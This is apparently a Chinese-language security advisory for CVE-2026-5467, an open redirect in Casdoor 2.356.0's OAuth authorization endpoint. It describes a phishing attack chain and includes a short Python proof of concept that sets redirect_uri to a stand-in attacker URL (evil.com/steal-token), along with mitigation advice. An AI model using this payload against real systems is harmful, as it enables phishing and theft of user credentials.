IPBUF安全漏洞报告
English
CVE-2026-5467 CVSS 4.3 中危

CVE-2026-5467 Casdoor开放重定向漏洞

披露日期: 2026-04-03

漏洞信息

漏洞编号
CVE-2026-5467
漏洞类型
开放重定向
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Casdoor

相关标签

开放重定向CasdoorOAuth钓鱼攻击CVE-2026-5467

漏洞概述

Casdoor 2.356.0版本中的OAuth授权请求处理组件存在安全漏洞。由于对`redirect_uri`参数处理不当,攻击者可构造恶意链接诱导用户点击,实施开放重定向攻击。该漏洞无需认证即可远程利用,且利用代码已公开,可能导致用户被钓鱼攻击。

技术细节

该漏洞存在于Casdoor处理OAuth授权请求的逻辑中。在OAuth 2.0流程中,`redirect_uri`参数用于指定授权完成后用户浏览器的跳转地址。Casdoor 2.356.0未严格验证该参数是否在预注册的白名单内,允许攻击者传入外部恶意域名。攻击者可以构造特定的URL,将`redirect_uri`设置为钓鱼网站地址。当受害者访问此链接时,服务器会返回302重定向响应,将用户引导至攻击者控制的页面。由于CVSS向量包含UI:R(需要用户交互),攻击者通常结合社会工程学(如钓鱼邮件)诱导受害者点击,从而窃取敏感信息。

攻击链分析

STEP 1
侦察与准备
攻击者确认目标使用Casdoor 2.356.0,并准备钓鱼站点以接收重定向的流量。
STEP 2
构造恶意链接
攻击者利用漏洞,构造包含恶意redirect_uri参数的OAuth授权链接。
STEP 3
社会工程学投递
攻击者通过电子邮件或即时通讯工具将恶意链接发送给目标用户,诱导其点击。
STEP 4
触发重定向
用户点击链接,Casdoor服务器处理请求并响应302跳转,将用户浏览器引导至攻击者的钓鱼网站。
STEP 5
窃取凭据
用户在伪造的页面上输入账号密码,攻击者成功截获用户凭证。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target Casdoor instance (example) target = "http://localhost:8000" # The vulnerable endpoint endpoint = "/login/oauth/authorize" # Malicious redirect URI (attacker controlled site) evil_url = "https://evil.com/steal-token" # Payload parameters params = { "client_id": "client_id", "response_type": "code", "redirect_uri": evil_url, "scope": "openid", "state": "123456" } # Send the request response = requests.get(target + endpoint, params=params, allow_redirects=False) # Check if the server redirects to the malicious URL if response.status_code == 302: location = response.headers.get('Location') if evil_url in location: print(f"[+] Vulnerability confirmed! Redirecting to: {location}") else: print(f"[-] Redirecting to: {location}") else: print(f"[-] Status code: {response.status_code}")

影响范围

Casdoor 2.356.0

防御指南

临时缓解措施
建议管理员在修复前,通过反向代理(如Nginx)添加过滤规则,严格检查响应头中的Location参数,禁止跳转到非业务关联的域名。同时,加强用户安全教育,警惕不明来源的授权链接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表